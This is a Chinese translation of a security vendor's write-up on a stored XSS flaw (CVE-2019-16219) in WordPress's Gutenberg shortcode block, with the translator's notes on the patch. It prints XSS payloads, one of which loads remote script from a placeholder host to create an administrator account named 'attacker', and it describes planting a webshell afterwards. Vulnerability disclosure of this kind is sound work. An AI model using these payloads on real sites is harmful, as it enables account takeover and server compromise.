最近,笔者在研究一些与WordPress漏洞相关内容。Sucuri、RIPS、Fortinet等安全公司对WordPress有着一系列的深入研究,因此笔者计划陆续将一些有意思文章翻译出来,与大家共同学习下,祝君多挖漏洞。
这篇文章是来自FortiGuard Labs,本文介绍了存在于wordpress5.0版本中的xss漏洞。经我个人验证,从wordpress5.0版本起,由于强制使用古腾堡(Gutenberg)编辑器,内部存在不少xss漏洞,而本文中的漏洞,一直存在至5.0.5版本,而非文中所说的5.0.4。
下面翻译稿正文开始
前言
WordPress 是世界上最受欢迎的内容管理系统 (CMS),它的全球CMS市场份额已达60.4%,远远高于排名第二的Joomla!(后者仅有5.2%市场份额)。因此,互联网上超过三分之一的网站是使用WordPress搭建的。
近日,FortiGuard Labs团队在 WordPress 中发现了一个存储型跨站点脚本 (XSS)0day漏洞。此 XSS 漏洞是由 WordPress 5.0 中的新内置编辑器 Gutenberg 引起的,编辑器无法过滤Shortcode错误消息中的 JavaScript/HTML 代码。一旦受害者访问受感染网页,具有投稿者(Contributor)或更高权限的远程攻击者就可以在其浏览器中执行任意 JavaScript/HTML 代码。倘若受害者具有较高权限(如:管理员),攻击者甚至可以攻陷整个 Web 服务器。
此存储型XSS漏洞(CVE-2019-16219)影响WordPress 5.0到5.0.4,5.1和5.1.1版本。
解析
在WordPress 5.0中,用户可以将Shortcode块添加到帖子中。若将某些特定的HTML编码字符(如“&lt;”)添加到短代码块中,重新打开该帖时,WordPress就会显示错误消息,并将“&lt;”解码为“<”来进行预览。
图1.注入HTML编码字符Shortcode块
图2.Shortcode错误消息预览
使用PoC代码
1 | "><img src=1 onerror=alert("熊本熊本熊")> |
可以轻松绕过此预览中的XSS过滤器。
图3.将PoC代码插入Shortcode块
当受害者查看该帖时,XSS代码将在其浏览器中执行。
图4. WordPress短代码预览XSS
如果受害者恰好拥有管理员权限,攻击者即可以利用此漏洞获取管理员帐户的控制权,利用WordPress内置函数 getShell,然后控制服务器。
例如,攻击者可以在其Web服务器上托管JavaScript文件,例如[wpaddadmin 。] js(在链接中描述)。此JavaScript代码将添加一个WordPress管理员帐户,其用户名为“attacker”,密码为“attacker”。
1 | // Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' value |
然后,攻击者可以在JavaScript中注入以下PoC代码。
1 | "><img src=1 onerror="javascript:(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();"> |
图5.注入XSS代码以添加管理员帐户
一旦具有高权限的受害者查看此帖,就会立即创建attacker管理员帐户。
图6.执行XSS代码
图7.使用XSS代码,成功创建具有管理员权限的“attacker”帐户
随之,攻击者可以将现有的php文件修改为webshell,并借此来控制Web服务器。
图8.使用攻击者的帐户添加webshell
图9.控制Web服务器
解决方案
建议使用受影响版本的WordPress用户,尽快升级到最新版本或立即应用最新的补丁。
翻译正文到此结束
写在翻译稿后面
我跟踪了下wordpress的修复
本次都修复位于wp-includes\js\dist\block-library.js中
由于原先shortcode的attributes 属性中source值为’text’,前端页面在解析shortcode中的<值时,会将其解析为<,从而造成闭合,如下图
修复后shortcode的attributes 属性中source值为html,前端脚本不再解析<
原文链接:https://www.fortinet.com/blog/threat-research/wordpress-core-stored-xss-vulnerability.html